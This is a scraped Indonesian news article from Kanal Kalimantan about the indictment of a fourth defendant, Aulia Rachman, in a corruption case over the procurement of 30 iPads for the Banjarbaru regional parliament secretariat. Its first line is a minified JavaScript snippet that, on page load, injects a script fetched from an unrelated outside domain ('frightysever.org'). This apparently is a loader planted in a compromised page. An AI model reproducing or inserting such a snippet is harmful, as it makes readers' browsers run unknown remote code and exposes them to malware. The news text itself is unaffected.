(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Korupsi Pengadaan iPad DPRD Banjarbaru Seret Terdakwa Keempat


KANALKALIMANTAN.COM, BANJARMASIN – Kasus korupsi pengadaan personal komputer (iPad) Sekretariat Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyeret terdakwa baru ke meja hijau.

Terbaru pada Jumat (20/10/2023) siang, terdakwa bernama Aulia Rachman menjalani sidang dakwaan di Pengadilan Tipikor Banjarmasin.

Diketahui, Aulia Rachman sempat masuk Daftar Pencarian Orang (DPO) hingga akhirnya berhasil diamankan Kejaksaan Negeri (Kejari) Banjarbaru pada Sabtu (7/10/2023) di Kota Banjarmasin. Tidak lama setelah diamankan perkaranya langsung dilimpahkan ke Pengadilan Negeri (PN) Banjarmasin dan teregister dengan Nomor 32/Pid.Sus-TPK/2023 PN Bjm.

Baca juga: Kawasan Monumen Legenda Pangeran Suryanata, Situs Geopark Meratus di Rute Selatan

Pada sidang perdana ia hadir langsung di persidanganmengenakan baju tahanan Lapas Banjarbaru dan didampingi 3 penasehat hukum. Dakwaan dibacakan oleh tim Jaksa Penuntut Umum (JPU) Kejari Banjarbaru yakni Soneridho SH dan Febriana Rizki SH.

Terdakwa Aulia Rachman diketahui merupakan pihak penyedia jasa pada proyek pengadaan 30 iPad Setwan DPRD Banjarbaru tahun 2020 dengan nama perusahaan CV Kiaratama Persada, yang merupakan perusahaan pinjaman milik saksi Ahmad Syaifullah.

Perkara pengadaan iPad Setwan DPRD Banjarbaru tahun anggaran 2020 ini sebelumnya dianggarankan sekitar Rp600 juta.

Awalnya hanya dianggarkan Rp300 juta untuk pengadaan iPad 30 unit, pertengahan tahun April 2020 anggaran itu ditarik kembali oleh Pemko Banjarbaru untuk penanggulangan pandemi Covid-19. Kemudian melalui Badan Anggaran (Banggar) DPRD Banjarbaru dianggarkan kembali menjadi Rp600 juta.

Baca juga: 12 Jam Pencarian, Bocah 8 Tahun Tenggelam di Sungai Martapura Ditemukan

“Pengadaannya tidak seusai dengan spesifikasi yang tercantum dalam kontrak,” ungkap jaksa penuntut umum.

Berdasarkan audit Badan Pengawas Keuangan dan Pembangunan (BPKP) Kalsel, nilai kerugian keuangan negara pada perkara korupsi pengadaan iPad itu sebesar Rp521.154.545.

“Perbuatannya didakwa dengan Pasal 2 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaiman diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 ayat (1) KUHP, untuk dakwaan primair. Sementara subsidair dikenakan Pasal 3 Jontco Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jontco Pasal 55 ayat (1) KUHP,” ungkap tim JPU dari Kejari Banjarbaru.

Usai dibacakan dakwaan, terdakwa melalui penasehat hukumnya mengatakan tidak mengajukan eksepsi (keberatan).

Baca juga: Sebuah Rumah dan Langgar Disapu Puting Beliung di Gambut

Sebab tidak ada eksepsi, majelis hakim yang diketuai Vidiawan Satriantoro bersama dua anggota memutuskan sidang berikutnya langsung ke tahap pembuktian.

“Sidang akan dilaksanakan pada Rabu 25 Oktober 2023 dengan agenda pemeriksaan saksi dari penuntut umum,” tutup majelis hakim.

Dalam perkara ini terdakwa Aulia Rachman bukan terdakwa tunggal, kasus korupsi sudah memenjarakan dua orang yang sedang menjalani masa hukuman di Lapas Banjarbaru. Yakni mantan Sekretaris Dewan (Sekwan) DPRD Banjarbaru Aida Yunani, pihak ketiga Ahmad Syaifullah.

Sementara mantan Kasubag Perlengkapan dan Rumah Tangga Sekretaris di DPRD Banjarbaru M Joni Setiawan menjadi terdakwa ketiga. Terdakwa M Joni Setiawan sebagai Pejabat Pelaksana Teknis Kegiatan (PPTK) perkaranya saat ini masih dalam proses sidang pembuktian di Pengadilan Tipikor Banjarmasin.

Baca juga: Mahfud MD Soal Dinasti Politik: Cegah Pakai Apa? Bukan Hukum, Lewat Sanksi Sosial

Setahun yang lalu Ahmad Syaifullah divonis bersalah oleh majelis hakim Pengadilan Tipikor Banjarmasin dengan vonis 1 tahun penjara, begitu juga Aida Yunani divonis 1 tahun. Namun, ditingkat kasasi, Aida Yunani selaku Pejabat Pembuat Komitmen (PPK) pada proyek pengadaan itu hukumannya ditambah menjadi 4 tahun penjara. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.